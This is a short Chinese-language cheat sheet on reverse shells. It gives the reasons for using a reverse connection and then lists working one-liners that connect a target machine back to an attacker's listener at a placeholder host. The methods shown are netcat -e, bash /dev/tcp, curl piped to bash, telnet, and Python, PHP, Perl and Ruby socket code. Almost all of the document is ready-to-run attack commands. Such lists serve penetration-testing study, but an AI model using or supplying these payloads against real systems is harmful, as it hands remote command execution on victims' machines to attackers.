反弹shell,就是攻击机监听某个端口,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。

正向连接

攻击者主动发起请求连接目标机器

反向连接

当出现以下情况时:

  1. 目标机因防火墙受限,只能发送请求,不能接收请求
  2. 目标机端口被占用
  3. 目标机位于局域网或者IP会动态变化

我们则需要用到反向连接

反弹shell方法

攻击机开启本地监听

  1. 利用nc
    nc -l -p <RPORT>

目标机连接攻击机

  1. 利用netcat
    netcat <RHOST> <RPORT> -e /bin/bash
  2. 利用bash
    bash -i >& /dev/tcp/<RHOST>/<RPORT> 0>&1
  3. curl + bash
    # 首先在攻击机vps的web目录创建一个index文件,内容如下
    bash -i >& /dev/tcp/<RHOST>/<RPORT> 0>&1
    # 在攻击机开启<RPORT>端口的监听
    nc -l -p <RPORT>
    # 在目标机执行下列命令
    curl <RHOST>|bash
  4. 利用telnet
    # 攻击机需要开启两个端口监听
    nc -l -p <RPORT_1>
    nc -l -p <RPORT_2>
    # 目标机主动连接攻击机
    telnet <RHOST> <RPORT_1> | /bin/bash | telnet <RHOST> <RPORT_2>
    # 获得shell后,在攻击机2333端口的终端上输入的命令会在目标机上执行,
    # 执行的回显将通过4000端口的终端显示出来。
  5. 利用python
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<RHOST>",<RPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  6. 利用php
    php -r '$sock=fsockopen("<RHOST>",<RPORT>);exec("/bin/sh -i <&3 >&3 2>&3");'
  7. 利用Perl
    perl -e 'use Socket;$i="<RHOST>";$p=<RPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  8. 利用ruby
    ruby -rsocket -e 'c=TCPSocket.new("<RHOST>","<RPORT>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

reference: https://xz.aliyun.com/t/9488